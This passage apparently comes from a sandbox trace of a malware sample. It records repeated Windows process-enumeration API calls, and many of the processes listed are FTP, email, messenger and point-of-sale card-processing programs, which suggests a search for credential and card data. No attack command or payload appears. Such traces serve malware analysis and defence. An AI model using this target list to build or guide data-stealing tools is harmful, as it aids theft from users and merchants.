cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0242.460] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0242.463] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0242.466] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0242.469] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0242.472] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0242.475] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0242.480] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0242.482] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0242.486] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0242.489] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0242.612] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0242.616] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0242.619] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0242.622] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0242.625] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0242.631] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0242.635] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0242.637] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0242.639] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0242.641] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0242.643] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0242.645] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0242.647] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0242.649] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0242.652] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0242.655] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0242.658] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0242.659] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0242.661] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0242.663] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0242.665] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0242.667] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0242.669] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0242.671] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0242.672] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0242.674] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0242.676] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0242.678] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0242.680] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0242.682] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.683] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0242.685] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.687] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0242.689] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0242.691] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0242.693] CloseHandle (hObject=0x21ec) returned 1 [0242.693] Sleep (dwMilliseconds=0x64) [0242.707] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0242.725] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0242.727] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0242.730] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0242.732] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.733] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0242.767] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0242.770] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0242.773] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0242.776] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0242.778] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.781] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.859] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.863] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.866] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.869] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.872] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.876] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.878] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.881] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.885] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.887] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0242.890] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.893] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.896] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0242.899] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0242.903] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0242.907] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0242.909] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0242.912] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0242.916] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.918] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.922] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.926] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0242.929] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0242.932] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.935] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0242.938] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0242.941] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, 